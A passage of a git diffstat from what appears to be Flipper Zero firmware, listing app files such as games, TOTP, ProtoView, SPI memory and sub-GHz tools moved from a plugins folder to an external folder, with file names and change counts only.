.../pocsag_pager/helpers/pocsag_pager_types.h | 0 .../pocsag_pager/images/Lock_7x8.png | Bin .../pocsag_pager/images/Message_8x7.png | Bin .../pocsag_pager/images/Pin_back_arrow_10x8.png | Bin .../pocsag_pager/images/Quest_7x8.png | Bin .../pocsag_pager/images/Scanning_123x52.png | Bin .../pocsag_pager/images/Unlock_7x8.png | Bin .../pocsag_pager/images/WarningDolphin_45x42.png | Bin .../pocsag_pager/pocsag_pager_10px.png | Bin .../pocsag_pager/pocsag_pager_app.c | 0 .../pocsag_pager/pocsag_pager_app_i.c | 0 .../pocsag_pager/pocsag_pager_app_i.h | 0 .../pocsag_pager/pocsag_pager_history.c | 0 .../pocsag_pager/pocsag_pager_history.h | 0 .../pocsag_pager/protocols/pcsg_generic.c | 0 .../pocsag_pager/protocols/pcsg_generic.h | 0 .../pocsag_pager/protocols/pocsag.c | 0 .../pocsag_pager/protocols/pocsag.h | 0 .../pocsag_pager/protocols/protocol_items.c | 0 .../pocsag_pager/protocols/protocol_items.h | 0 .../pocsag_pager/scenes/pocsag_pager_receiver.c | 0 .../pocsag_pager/scenes/pocsag_pager_scene.c | 0 .../pocsag_pager/scenes/pocsag_pager_scene.h | 0 .../pocsag_pager/scenes/pocsag_pager_scene_about.c | 0 .../pocsag_pager/scenes/pocsag_pager_scene_config.h | 0 .../scenes/pocsag_pager_scene_receiver_config.c | 0 .../scenes/pocsag_pager_scene_receiver_info.c | 0 .../pocsag_pager/scenes/pocsag_pager_scene_start.c | 0 .../pocsag_pager/views/pocsag_pager_receiver.c | 0 .../pocsag_pager/views/pocsag_pager_receiver.h | 0 .../pocsag_pager/views/pocsag_pager_receiver_info.c | 0 .../pocsag_pager/views/pocsag_pager_receiver_info.h | 0 .../{plugins => external}/pomodoro/application.fam | 0 .../pomodoro/flipp_pomodoro_10.png | Bin .../pomodoro/flipp_pomodoro_app.c | 0 .../pomodoro/flipp_pomodoro_app.h | 0 .../pomodoro/flipp_pomodoro_app_i.h | 0 .../{plugins => external}/pomodoro/helpers/debug.h | 0 .../pomodoro/helpers/notifications.c | 0 .../pomodoro/helpers/notifications.h | 0 .../{plugins => external}/pomodoro/helpers/time.c | 0 .../{plugins => external}/pomodoro/helpers/time.h | 0 .../images/flipp_pomodoro_focus_64/frame_00.png | Bin .../images/flipp_pomodoro_focus_64/frame_01.png | Bin .../images/flipp_pomodoro_focus_64/frame_rate | 0 .../images/flipp_pomodoro_rest_64/frame_00.png | Bin .../images/flipp_pomodoro_rest_64/frame_01.png | Bin .../images/flipp_pomodoro_rest_64/frame_rate | 0 .../pomodoro/modules/flipp_pomodoro.c | 0 .../pomodoro/modules/flipp_pomodoro.h | 0 .../{plugins => external}/pomodoro/scenes/.keep | 0 .../scenes/config/flipp_pomodoro_scene_config.h | 0 .../pomodoro/scenes/flipp_pomodoro_scene.c | 0 .../pomodoro/scenes/flipp_pomodoro_scene.h | 0 .../pomodoro/scenes/flipp_pomodoro_scene_timer.c | 0 .../{plugins => external}/pomodoro/views/.keep | 0 .../pomodoro/views/flipp_pomodoro_timer_view.c | 0 .../pomodoro/views/flipp_pomodoro_timer_view.h | 0 .../{plugins => external}/pong/application.fam | 0 .../{plugins => external}/pong/flipper_pong.c | 0 applications/{plugins => external}/pong/pong.png | Bin .../{plugins => external}/protoview/LICENSE | 0 .../{plugins => external}/protoview/README.md | 0 applications/{plugins => external}/protoview/app.c | 0 applications/{plugins => external}/protoview/app.h | 0 .../{plugins => external}/protoview/app_subghz.c | 0 .../{plugins => external}/protoview/appicon.png | Bin .../{plugins => external}/protoview/application.fam | 0 applications/{plugins => external}/protoview/crc.c | 0 .../protoview/custom_presets.h | 0 .../{plugins => external}/protoview/fields.c | 0 .../protoview/images/ProtoViewSignal.jpg | Bin .../protoview/images/protoview_1.jpg | Bin .../protoview/images/protoview_2.jpg | Bin .../protoview/protocols/b4b1.c | 0 .../protoview/protocols/keeloq.c | 0 .../protoview/protocols/oregon2.c | 0 .../protoview/protocols/pvchat.c | 0 .../protoview/protocols/tpms/citroen.c | 0 .../protoview/protocols/tpms/ford.c | 0 .../protoview/protocols/tpms/renault.c | 0 .../protoview/protocols/tpms/schrader.c | 0 .../protoview/protocols/tpms/schrader_eg53ma4.c | 0 .../protoview/protocols/tpms/toyota.c | 0 .../protoview/protocols/unknown.c | 0 .../{plugins => external}/protoview/raw_samples.c | 0 .../{plugins => external}/protoview/raw_samples.h | 0 .../{plugins => external}/protoview/signal.c | 0 .../{plugins => external}/protoview/signal_file.c | 0 applications/{plugins => external}/protoview/ui.c | 0 .../{plugins => external}/protoview/view_build.c | 0 .../protoview/view_direct_sampling.c | 0 .../{plugins => external}/protoview/view_info.c | 0 .../protoview/view_raw_signal.c | 0 .../{plugins => external}/protoview/view_settings.c | 0 .../{plugins => external}/qrcode/application.fam | 0 .../qrcode/icons/qrcode_10px.png | Bin applications/{plugins => external}/qrcode/qrcode.c | 0 applications/{plugins => external}/qrcode/qrcode.h | 0 .../{plugins => external}/qrcode/qrcode_app.c | 0 .../{plugins => external}/rc2014_coleco/LICENSE | 0 .../{plugins => external}/rc2014_coleco/README.md | 0 .../rc2014_coleco/application.fam | 0 .../{plugins => external}/rc2014_coleco/coleco.c | 0 .../rc2014_coleco/coleco_10px.png | Bin .../rc2014_coleco/icons/Coleco0_17x17.png | Bin .../rc2014_coleco/icons/Coleco0_hvr_17x17.png | Bin .../rc2014_coleco/icons/Coleco1_17x17.png | Bin .../rc2014_coleco/icons/Coleco1_hvr_17x17.png | Bin .../rc2014_coleco/icons/Coleco2_17x17.png | Bin .../rc2014_coleco/icons/Coleco2_hvr_17x17.png | Bin .../rc2014_coleco/icons/Coleco3_17x17.png | Bin .../rc2014_coleco/icons/Coleco3_hvr_17x17.png | Bin .../rc2014_coleco/icons/Coleco4_17x17.png | Bin .../rc2014_coleco/icons/Coleco4_hvr_17x17.png | Bin .../rc2014_coleco/icons/Coleco5_17x17.png | Bin .../rc2014_coleco/icons/Coleco5_hvr_17x17.png | Bin .../rc2014_coleco/icons/Coleco6_17x17.png | Bin .../rc2014_coleco/icons/Coleco6_hvr_17x17.png | Bin .../rc2014_coleco/icons/Coleco7_17x17.png | Bin .../rc2014_coleco/icons/Coleco7_hvr_17x17.png | Bin .../rc2014_coleco/icons/Coleco8_17x17.png | Bin .../rc2014_coleco/icons/Coleco8_hvr_17x17.png | Bin .../rc2014_coleco/icons/Coleco9_17x17.png | Bin .../rc2014_coleco/icons/Coleco9_hvr_17x17.png | Bin .../rc2014_coleco/icons/ColecoAlt_18x9.png | Bin .../rc2014_coleco/icons/ColecoAlt_hvr_18x9.png | Bin .../rc2014_coleco/icons/ColecoFire_18x9.png | Bin .../rc2014_coleco/icons/ColecoFire_hvr_18x9.png | Bin .../rc2014_coleco/icons/ColecoFire_sel_18x9.png | Bin .../rc2014_coleco/icons/ColecoJoystick_33x33.png | Bin .../icons/ColecoJoystick_hvr_33x33.png | Bin .../icons/ColecoJoystick_sel_33x33.png | Bin .../rc2014_coleco/icons/ColecoPound_17x17.png | Bin .../rc2014_coleco/icons/ColecoPound_hvr_17x17.png | Bin .../rc2014_coleco/icons/ColecoStar_17x17.png | Bin .../rc2014_coleco/icons/ColecoStar_hvr_17x17.png | Bin .../rc2014_coleco/interface/flipper-coleco.brd | 0 .../rc2014_coleco/interface/flipper-coleco.sch | 0 .../{plugins => external}/rc2014_coleco/ui.png | Bin .../rubiks_cube_scrambler/LICENSE | 0 .../rubiks_cube_scrambler/README.md | 0 .../rubiks_cube_scrambler/application.fam | 0 .../rubiks_cube_scrambler/cube.png | Bin .../rubiks_cube_scrambler/rubiks_cube_scrambler.c | 0 .../rubiks_cube_scrambler/scrambler.c | 0 .../rubiks_cube_scrambler/scrambler.h | 0 .../{plugins => external}/sam/application.fam | 2 +- .../{plugins => external}/sam/icons/music_10px.png | Bin .../{plugins => external}/sam/music_10px.png | Bin applications/{plugins => external}/sam/sam_app.cpp | 0 .../{plugins => external}/sam/stm32_sam.cpp | 0 applications/{plugins => external}/sam/stm32_sam.h | 0 .../sentry_safe/application.fam | 0 .../{plugins => external}/sentry_safe/safe_10px.png | Bin .../{plugins => external}/sentry_safe/sentry_safe.c | 0 .../signal_generator/application.fam | 2 +- .../signal_generator/icons/SmallArrowDown_3x5.png | Bin .../signal_generator/icons/SmallArrowUp_3x5.png | Bin .../signal_generator/scenes/signal_gen_scene.c | 0 .../signal_generator/scenes/signal_gen_scene.h | 0 .../scenes/signal_gen_scene_config.h | 0 .../signal_generator/scenes/signal_gen_scene_mco.c | 0 .../signal_generator/scenes/signal_gen_scene_pwm.c | 0 .../scenes/signal_gen_scene_start.c | 0 .../signal_generator/signal_gen_10px.png | Bin .../signal_generator/signal_gen_app.c | 0 .../signal_generator/signal_gen_app_i.h | 0 .../signal_generator/views/signal_gen_pwm.c | 0 .../signal_generator/views/signal_gen_pwm.h | 0 .../snake_game/application.fam | 2 +- .../{plugins => external}/snake_game/snake_10px.png | Bin .../{plugins => external}/snake_game/snake_game.c | 0 .../{plugins => external}/solitaire/application.fam | 0 .../solitaire/assets/card_graphics.png | Bin .../solitaire/assets/solitaire_main.png | Bin .../{plugins => external}/solitaire/common/card.c | 0 .../{plugins => external}/solitaire/common/card.h | 0 .../{plugins => external}/solitaire/common/dml.c | 0 .../{plugins => external}/solitaire/common/dml.h | 0 .../{plugins => external}/solitaire/common/menu.c | 0 .../{plugins => external}/solitaire/common/menu.h | 0 .../{plugins => external}/solitaire/common/queue.c | 0 .../{plugins => external}/solitaire/common/queue.h | 0 .../{plugins => external}/solitaire/common/ui.c | 0 .../{plugins => external}/solitaire/common/ui.h | 0 .../{plugins => external}/solitaire/defines.h | 0 .../{plugins => external}/solitaire/solitaire.c | 0 .../solitaire/solitaire_10px.png | Bin .../spectrum_analyzer/application.fam | 0 .../spectrum_analyzer/spectrum_10px.png | Bin .../spectrum_analyzer/spectrum_analyzer.c | 0 .../spectrum_analyzer/spectrum_analyzer.h | 0 .../spectrum_analyzer/spectrum_analyzer_worker.c | 0 .../spectrum_analyzer/spectrum_analyzer_worker.h | 0 .../spi_mem_manager/application.fam | 0 .../images/ChipLooking_64x64/frame_01.png | Bin .../images/ChipLooking_64x64/frame_02.png | Bin .../images/ChipLooking_64x64/frame_03.png | Bin .../images/ChipLooking_64x64/frame_rate | 0 .../spi_mem_manager/images/Dip8_10px.png | Bin .../spi_mem_manager/images/Dip8_32x36.png | Bin .../spi_mem_manager/images/DolphinMafia_115x62.png | Bin .../spi_mem_manager/images/DolphinNice_96x59.png | Bin .../spi_mem_manager/images/SDQuestion_35x43.png | Bin .../spi_mem_manager/images/Wiring_SPI_128x64.png | Bin .../spi_mem_manager/lib/spi/spi_mem_chip.c | 0 .../spi_mem_manager/lib/spi/spi_mem_chip.h | 0 .../spi_mem_manager/lib/spi/spi_mem_chip_arr.c | 0 .../spi_mem_manager/lib/spi/spi_mem_chip_i.h | 0 .../spi_mem_manager/lib/spi/spi_mem_tools.c | 0 .../spi_mem_manager/lib/spi/spi_mem_tools.h | 0 .../spi_mem_manager/lib/spi/spi_mem_worker.c | 0 .../spi_mem_manager/lib/spi/spi_mem_worker.h | 0 .../spi_mem_manager/lib/spi/spi_mem_worker_i.h | 0 .../spi_mem_manager/lib/spi/spi_mem_worker_modes.c | 0 .../spi_mem_manager/scenes/spi_mem_scene.c | 0 .../spi_mem_manager/scenes/spi_mem_scene.h | 0 .../spi_mem_manager/scenes/spi_mem_scene_about.c | 0 .../scenes/spi_mem_scene_chip_detect.c | 0 .../scenes/spi_mem_scene_chip_detect_fail.c | 0 .../scenes/spi_mem_scene_chip_detected.c | 0 .../scenes/spi_mem_scene_chip_error.c | 0 .../spi_mem_manager/scenes/spi_mem_scene_config.h | 0 .../scenes/spi_mem_scene_delete_confirm.c | 0 .../spi_mem_manager/scenes/spi_mem_scene_erase.c | 0 .../scenes/spi_mem_scene_file_info.c | 0 .../spi_mem_manager/scenes/spi_mem_scene_read.c | 0 .../scenes/spi_mem_scene_read_filename.c | 0 .../scenes/spi_mem_scene_saved_file_menu.c | 0 .../scenes/spi_mem_scene_select_file.c | 0 .../scenes/spi_mem_scene_select_model.c | 0 .../scenes/spi_mem_scene_select_vendor.c | 0 .../spi_mem_manager/scenes/spi_mem_scene_start.c | 0 .../scenes/spi_mem_scene_storage_error.c | 0 .../spi_mem_manager/scenes/spi_mem_scene_success.c | 0 .../spi_mem_manager/scenes/spi_mem_scene_verify.c | 0 .../scenes/spi_mem_scene_verify_error.c | 0 .../spi_mem_manager/scenes/spi_mem_scene_wiring.c | 0 .../spi_mem_manager/scenes/spi_mem_scene_write.c | 0 .../spi_mem_manager/spi_mem_app.c | 0 .../spi_mem_manager/spi_mem_app.h | 0 .../spi_mem_manager/spi_mem_app_i.h | 0 .../spi_mem_manager/spi_mem_files.c | 0 .../spi_mem_manager/spi_mem_files.h | 0 .../spi_mem_manager/tools/README.md | 0 .../spi_mem_manager/tools/chiplist/LICENSE | 0 .../spi_mem_manager/tools/chiplist/chiplist.xml | 0 .../spi_mem_manager/tools/chiplist_convert.py | 0 .../spi_mem_manager/views/spi_mem_view_detect.c | 0 .../spi_mem_manager/views/spi_mem_view_detect.h | 0 .../spi_mem_manager/views/spi_mem_view_progress.c | 0 .../spi_mem_manager/views/spi_mem_view_progress.h | 0 .../subghz_bruteforcer/LICENSE | 0 .../subghz_bruteforcer/application.fam | 0 .../subghz_bruteforcer/helpers/gui_top_buttons.c | 0 .../subghz_bruteforcer/helpers/gui_top_buttons.h | 0 .../subghz_bruteforcer/helpers/subbrute_worker.c | 0 .../subghz_bruteforcer/helpers/subbrute_worker.h | 0 .../helpers/subbrute_worker_private.h | 0 .../subghz_bruteforcer/images/ButtonDown_7x4.png | Bin .../subghz_bruteforcer/images/ButtonUp_7x4.png | Bin .../subghz_bruteforcer/images/DolphinNice_96x59.png | Bin .../images/Sub1ghz_14/frame_01.png | Bin .../images/Sub1ghz_14/frame_02.png | Bin .../images/Sub1ghz_14/frame_03.png | Bin .../images/Sub1ghz_14/frame_04.png | Bin .../images/Sub1ghz_14/frame_05.png | Bin .../images/Sub1ghz_14/frame_06.png | Bin .../subghz_bruteforcer/images/Sub1ghz_14/frame_rate | 0 .../subghz_bruteforcer/images/sub1_10px.png | Bin .../subghz_bruteforcer/images/subbrute_10px.png | Bin .../subghz_bruteforcer/scenes/subbrute_scene.h | 0 .../scenes/subbrute_scene_config.h | 0 .../scenes/subbrute_scene_load_file.c | 0 .../scenes/subbrute_scene_load_select.c | 0 .../scenes/subbrute_scene_run_attack.c | 0 .../scenes/subbrute_scene_save_name.c | 0 .../scenes/subbrute_scene_save_success.c | 0 .../scenes/subbrute_scene_setup_attack.c | 0 .../scenes/subbrute_scene_start.c | 0 .../subghz_bruteforcer/scenes/subbute_scene.c | 0 .../subghz_bruteforcer/subbrute.c | 0 .../subghz_bruteforcer/subbrute.h | 0 .../subghz_bruteforcer/subbrute_custom_event.h | 0 .../subghz_bruteforcer/subbrute_device.c | 0 .../subghz_bruteforcer/subbrute_device.h | 0 .../subghz_bruteforcer/subbrute_i.h | 0 .../subghz_bruteforcer/subbrute_protocols.c | 0 .../subghz_bruteforcer/subbrute_protocols.h | 0 .../subghz_bruteforcer/views/subbrute_attack_view.c | 0 .../subghz_bruteforcer/views/subbrute_attack_view.h | 0 .../subghz_bruteforcer/views/subbrute_main_view.c | 0 .../subghz_bruteforcer/views/subbrute_main_view.h | 0 .../subghz_playlist/application.fam | 0 .../subghz_playlist/canvas_helper.c | 0 .../subghz_playlist/canvas_helper.h | 0 .../subghz_playlist/images/ButtonRight_4x7.png | Bin .../subghz_playlist/images/sub1_10px.png | Bin .../subghz_playlist/playlist.c | 0 .../subghz_playlist/playlist_10px.png | Bin .../subghz_playlist/playlist_file.c | 0 .../subghz_playlist/playlist_file.h | 0 .../subghz_remote/application.fam | 0 .../subghz_remote/images/ButtonDown_7x4.png | Bin .../subghz_remote/images/ButtonLeft_4x7.png | Bin .../subghz_remote/images/ButtonRight_4x7.png | Bin .../subghz_remote/images/ButtonUp_7x4.png | Bin .../subghz_remote/images/Ok_btn_9x9.png | Bin .../subghz_remote/images/Pin_arrow_down_7x9.png | Bin .../subghz_remote/images/Pin_arrow_left_9x7.png | Bin .../subghz_remote/images/Pin_arrow_right_9x7.png | Bin .../subghz_remote/images/Pin_arrow_up_7x9.png | Bin .../subghz_remote/images/Pin_cell_13x13.png | Bin .../subghz_remote/images/Pin_star_7x7.png | Bin .../subghz_remote/images/back_10px.png | Bin .../subghz_remote/images/sub1_10px.png | Bin .../subghz_remote/subghz_remote_10px.png | Bin .../subghz_remote/subghz_remote_app.c | 0 .../{plugins => external}/swd_probe/.gitignore | 0 .../{plugins => external}/swd_probe/LICENSE.txt | 0 .../{plugins => external}/swd_probe/README.md | 0 applications/{plugins => external}/swd_probe/adi.c | 0 applications/{plugins => external}/swd_probe/adi.h | 0 .../{plugins => external}/swd_probe/application.fam | 2 +- .../swd_probe/icons/ButtonDown_7x4.png | Bin .../swd_probe/icons/ButtonUp_7x4.png | Bin .../{plugins => external}/swd_probe/icons/app.png | Bin .../{plugins => external}/swd_probe/icons/swd.png | Bin .../{plugins => external}/swd_probe/jep106.c | 0 .../{plugins => external}/swd_probe/jep106.h | 0 .../{plugins => external}/swd_probe/jep106.inc | 0 .../{plugins => external}/swd_probe/model/chip.ply | 0 .../swd_probe/model/convert.py | 0 .../swd_probe/model/model_chip.h | 0 .../{plugins => external}/swd_probe/swd_probe_app.c | 0 .../{plugins => external}/swd_probe/swd_probe_app.h | 0 .../{plugins => external}/swd_probe/usb_uart.c | 0 .../{plugins => external}/swd_probe/usb_uart.h | 0 .../{plugins => external}/tama_p1/README.md | 0 .../{plugins => external}/tama_p1/application.fam | 0 .../tama_p1/compiled/assets_icons.h | 0 applications/{plugins => external}/tama_p1/hal.c | 0 .../{plugins => external}/tama_p1/hal_types.h | 0 .../{plugins => external}/tama_p1/icons/icon_0.png | Bin .../{plugins => external}/tama_p1/icons/icon_1.png | Bin .../{plugins => external}/tama_p1/icons/icon_2.png | Bin .../{plugins => external}/tama_p1/icons/icon_3.png | Bin .../{plugins => external}/tama_p1/icons/icon_4.png | Bin .../{plugins => external}/tama_p1/icons/icon_5.png | Bin .../{plugins => external}/tama_p1/icons/icon_6.png | Bin .../{plugins => external}/tama_p1/icons/icon_7.png | Bin applications/{plugins => external}/tama_p1/tama.gif | Bin applications/{plugins => external}/tama_p1/tama.h | 0 .../{plugins => external}/tama_p1/tamaIcon.png | Bin .../{plugins => external}/tama_p1/tama_p1.c | 0 .../{plugins => external}/tama_p1/tamalib/LICENSE | 0 .../{plugins => external}/tama_p1/tamalib/README.md | 0 .../{plugins => external}/tama_p1/tamalib/cpu.c | 0 .../{plugins => external}/tama_p1/tamalib/cpu.h | 0 .../{plugins => external}/tama_p1/tamalib/hal.h | 0 .../tama_p1/tamalib/hal_types.h.template | 0 .../{plugins => external}/tama_p1/tamalib/hw.c | 0 .../{plugins => external}/tama_p1/tamalib/hw.h | 0 .../{plugins => external}/tama_p1/tamalib/tamalib.c | 0 .../{plugins => external}/tama_p1/tamalib/tamalib.h | 0 .../{plugins => external}/tanksgame/application.fam | 0 .../{plugins => external}/tanksgame/constants.h | 0 .../tanksgame/images/HappyFlipper_128x64.png | Bin .../tanksgame/images/TanksSplashScreen_128x64.png | Bin .../tanksgame/images/enemy_down.png | Bin .../tanksgame/images/enemy_left.png | Bin .../tanksgame/images/enemy_right.png | Bin .../tanksgame/images/enemy_up.png | Bin .../tanksgame/images/projectile_down.png | Bin .../tanksgame/images/projectile_left.png | Bin .../tanksgame/images/projectile_right.png | Bin .../tanksgame/images/projectile_up.png | Bin .../tanksgame/images/tank_base.png | Bin .../tanksgame/images/tank_down.png | Bin .../tanksgame/images/tank_explosion.png | Bin .../tanksgame/images/tank_hedgehog.png | Bin .../tanksgame/images/tank_left.png | Bin .../tanksgame/images/tank_right.png | Bin .../tanksgame/images/tank_stone.png | Bin .../tanksgame/images/tank_up.png | Bin .../tanksgame/images/tank_wall.png | Bin .../{plugins => external}/tanksgame/tanksIcon.png | Bin .../{plugins => external}/tanksgame/tanks_game.c | 0 .../tetris_game/application.fam | 0 .../tetris_game/tetris_10px.png | Bin .../{plugins => external}/tetris_game/tetris_game.c | 0 .../{plugins => external}/text_viewer/LICENSE | 0 .../{plugins => external}/text_viewer/README.md | 0 .../text_viewer/application.fam | 0 .../text_viewer/icons/text_10px.png | Bin .../{plugins => external}/text_viewer/text_viewer.c | 0 .../text_viewer/textviewerflipper.PNG | Bin .../tictactoe_game/application.fam | 0 .../tictactoe_game/tictactoe_10px.png | Bin .../tictactoe_game/tictactoe_game.c | 0 .../{plugins => external}/timelapse/README.md | 0 .../{plugins => external}/timelapse/application.fam | 0 .../{plugins => external}/timelapse/gpio_item.c | 0 .../{plugins => external}/timelapse/gpio_item.h | 0 .../timelapse/icons/ButtonDown_7x4.png | Bin .../timelapse/icons/ButtonLeft_4x7.png | Bin .../timelapse/icons/ButtonRight_4x7.png | Bin .../timelapse/icons/ButtonUp_7x4.png | Bin .../timelapse/icons/Pin_star_7x7.png | Bin .../timelapse/icons/loading_10px.png | Bin .../{plugins => external}/timelapse/zeitraffer.c | 0 .../{plugins => external}/timelapse/zeitraffer.png | Bin applications/{plugins => external}/totp/LICENSE | 0 .../{plugins => external}/totp/application.fam | 0 applications/{plugins => external}/totp/cli/cli.c | 0 applications/{plugins => external}/totp/cli/cli.h | 0 .../{plugins => external}/totp/cli/cli_helpers.c | 0 .../{plugins => external}/totp/cli/cli_helpers.h | 0 .../totp/cli/commands/add/add.c | 0 .../totp/cli/commands/add/add.h | 0 .../totp/cli/commands/delete/delete.c | 0 .../totp/cli/commands/delete/delete.h | 0 .../totp/cli/commands/help/help.c | 0 .../totp/cli/commands/help/help.h | 0 .../totp/cli/commands/list/list.c | 0 .../totp/cli/commands/list/list.h | 0 .../totp/cli/commands/move/move.c | 0 .../totp/cli/commands/move/move.h | 0 .../totp/cli/commands/notification/notification.c | 0 .../totp/cli/commands/notification/notification.h | 0 .../totp/cli/commands/pin/pin.c | 0 .../totp/cli/commands/pin/pin.h | 0 .../totp/cli/commands/reset/reset.c | 0 .../totp/cli/commands/reset/reset.h | 0 .../totp/cli/commands/timezone/timezone.c | 0 .../totp/cli/commands/timezone/timezone.h | 0 .../totp/images/DolphinCommon_56x48.png | Bin .../totp/images/totp_arrow_bottom_10x5.png | Bin .../totp/images/totp_arrow_left_8x9.png | Bin .../totp/images/totp_arrow_right_8x9.png | Bin .../{plugins => external}/totp/lib/base32/base32.c | 0 .../{plugins => external}/totp/lib/base32/base32.h | 0 .../{plugins => external}/totp/lib/list/list.c | 0 .../{plugins => external}/totp/lib/list/list.h | 0 .../totp/lib/polyfills/memset_s.c | 0 .../totp/lib/polyfills/memset_s.h | 0 .../totp/lib/polyfills/strnlen.c | 0 .../totp/lib/polyfills/strnlen.h | 0 .../totp/lib/roll_value/roll_value.c | 0 .../totp/lib/roll_value/roll_value.h | 0 .../totp/lib/timezone_utils/timezone_utils.c | 0 .../totp/lib/timezone_utils/timezone_utils.h | 0 .../totp/services/config/config.c | 0 .../totp/services/config/config.h | 0 .../totp/services/config/constants.h | 0 .../config/migrations/config_migration_v1_to_v2.c | 0 .../config/migrations/config_migration_v1_to_v2.h | 0 .../config/migrations/config_migration_v2_to_v3.c | 0 .../config/migrations/config_migration_v2_to_v3.h | 0 .../totp/services/convert/convert.h | 0 .../totp/services/crypto/crypto.c | 0 .../totp/services/crypto/crypto.h | 0 .../totp/services/hmac/byteswap.c | 0 .../totp/services/hmac/byteswap.h | 0 .../totp/services/hmac/hmac_common.h | 0 .../totp/services/hmac/hmac_sha1.c | 0 .../totp/services/hmac/hmac_sha1.h | 0 .../totp/services/hmac/hmac_sha256.c | 0 .../totp/services/hmac/hmac_sha256.h | 0 .../totp/services/hmac/hmac_sha512.c | 0 .../totp/services/hmac/hmac_sha512.h | 0 .../totp/services/hmac/memxor.c | 0 .../totp/services/hmac/memxor.h | 0 .../{plugins => external}/totp/services/hmac/sha1.c | 0 .../{plugins => external}/totp/services/hmac/sha1.h | 0 .../totp/services/hmac/sha256.c | 0 .../totp/services/hmac/sha256.h | 0 .../totp/services/hmac/sha512.c | 0 .../totp/services/hmac/sha512.h | 0 .../{plugins => external}/totp/services/hmac/u64.h | 0 .../{plugins => external}/totp/services/totp/totp.c | 0 .../{plugins => external}/totp/services/totp/totp.h | 0 .../{plugins => external}/totp/totp_10px.png | Bin applications/{plugins => external}/totp/totp_app.c | 0 .../{plugins => external}/totp/types/common.h | 0 .../{plugins => external}/totp/types/event_type.h | 0 .../totp/types/notification_method.h | 0 .../{plugins => external}/totp/types/nullable.h | 0 .../{plugins => external}/totp/types/plugin_event.h | 0 .../{plugins => external}/totp/types/plugin_state.h | 0 .../{plugins => external}/totp/types/token_info.c | 0 .../{plugins => external}/totp/types/token_info.h | 0 .../totp/types/user_pin_codes.h | 0 .../{plugins => external}/totp/ui/common_dialogs.c | 0 .../{plugins => external}/totp/ui/common_dialogs.h | 0 .../{plugins => external}/totp/ui/constants.h | 0 .../{plugins => external}/totp/ui/scene_director.c | 0 .../{plugins => external}/totp/ui/scene_director.h | 0 .../totp/ui/scenes/add_new_token/totp_input_text.c | 0 .../totp/ui/scenes/add_new_token/totp_input_text.h | 0 .../scenes/add_new_token/totp_scene_add_new_token.c | 0 .../scenes/add_new_token/totp_scene_add_new_token.h | 0 .../totp/ui/scenes/app_settings/totp_app_settings.c | 0 .../totp/ui/scenes/app_settings/totp_app_settings.h | 0 .../scenes/authenticate/totp_scene_authenticate.c | 0 .../scenes/authenticate/totp_scene_authenticate.h | 0 .../generate_token/totp_scene_generate_token.c | 0 .../generate_token/totp_scene_generate_token.h | 0 .../ui/scenes/token_menu/totp_scene_token_menu.c | 0 .../ui/scenes/token_menu/totp_scene_token_menu.h | 0 .../totp/ui/totp_scenes_enum.h | 0 .../{plugins => external}/totp/ui/ui_controls.c | 0 .../{plugins => external}/totp/ui/ui_controls.h | 0 .../totp/workers/type_code/type_code.c | 0 .../totp/workers/type_code/type_code.h | 0 .../{plugins => external}/tuning_fork/LICENSE | 0 .../{plugins => external}/tuning_fork/README.md | 0 .../tuning_fork/application.fam | 0 .../tuning_fork/img/screenshot_1.png | Bin .../tuning_fork/img/screenshot_2.png | Bin .../tuning_fork/img/tuning_fork.gif | Bin .../{plugins => external}/tuning_fork/notes.h | 0 .../{plugins => external}/tuning_fork/tuning_fork.c | 0 .../tuning_fork/tuning_fork_icon.png | Bin .../{plugins => external}/tuning_fork/tunings.h | 0 .../{plugins => external}/uart_terminal/LICENSE | 0 .../{plugins => external}/uart_terminal/README.md | 0 .../uart_terminal/application.fam | 0 .../assets/KeyBackspaceSelected_16x9.png | Bin .../uart_terminal/assets/KeyBackspace_16x9.png | Bin .../uart_terminal/assets/KeySaveSelected_24x11.png | Bin .../uart_terminal/assets/KeySave_24x11.png | Bin .../uart_terminal/assets/WarningDolphin_45x42.png | Bin .../uart_terminal/scenes/uart_terminal_scene.c | 0 .../uart_terminal/scenes/uart_terminal_scene.h | 0 .../scenes/uart_terminal_scene_config.h | 0 .../scenes/uart_terminal_scene_console_output.c | 0 .../scenes/uart_terminal_scene_start.c | 0 .../scenes/uart_terminal_scene_text_input.c | 0 .../uart_terminal/uart_terminal.png | Bin .../uart_terminal/uart_terminal_app.c | 0 .../uart_terminal/uart_terminal_app.h | 0 .../uart_terminal/uart_terminal_app_i.h | 0 .../uart_terminal/uart_terminal_custom_event.h | 0 .../uart_terminal/uart_terminal_uart.c | 0 .../uart_terminal/uart_terminal_uart.h | 0 .../uart_terminal/uart_text_input.c | 0 .../uart_terminal/uart_text_input.h | 0 .../uart_terminal/uart_validators.c | 0 .../uart_terminal/uart_validators.h | 0 .../{plugins => external}/unitemp/LICENSE.md | 0 .../{plugins => external}/unitemp/README.md | 0 .../{plugins => external}/unitemp/Sensors.c | 0 .../{plugins => external}/unitemp/Sensors.h | 0 .../{plugins => external}/unitemp/application.fam | 0 .../{plugins => external}/unitemp/assets/README.MD | 0 .../unitemp/assets/flipper_happy_2_60x38.png | Bin .../unitemp/assets/flipper_happy_60x38.png | Bin .../unitemp/assets/flipper_sad_60x38.png | Bin .../unitemp/assets/hum_9x15.png | Bin .../unitemp/assets/in_hg_15x15.png | Bin .../unitemp/assets/mm_hg_15x15.png | Bin .../unitemp/assets/pressure_7x13.png | Bin .../unitemp/assets/repo_qr_50x50.png | Bin .../unitemp/assets/sherlok_53x45.png | Bin .../unitemp/assets/temp_C_11x14.png | Bin .../unitemp/assets/temp_F_11x14.png | Bin applications/{plugins => external}/unitemp/icon.png | Bin .../unitemp/interfaces/I2CSensor.c | 0 .../unitemp/interfaces/I2CSensor.h | 0 .../unitemp/interfaces/OneWireSensor.c | 0 .../unitemp/interfaces/OneWireSensor.h | 0 .../unitemp/interfaces/SPISensor.c | 0 .../unitemp/interfaces/SPISensor.h | 0 .../unitemp/interfaces/SingleWireSensor.c | 0 .../unitemp/interfaces/SingleWireSensor.h | 0 .../{plugins => external}/unitemp/sensors/AM2320.c | 0 .../{plugins => external}/unitemp/sensors/AM2320.h | 0 .../{plugins => external}/unitemp/sensors/BME680.c | 0 .../{plugins => external}/unitemp/sensors/BME680.h | 0 .../{plugins => external}/unitemp/sensors/BMP180.c | 0 .../{plugins => external}/unitemp/sensors/BMP180.h | 0 .../{plugins => external}/unitemp/sensors/BMx280.c | 0 .../{plugins => external}/unitemp/sensors/BMx280.h | 0 .../{plugins => external}/unitemp/sensors/DHT20.c | 0 .../{plugins => external}/unitemp/sensors/DHT20.h | 0 .../{plugins => 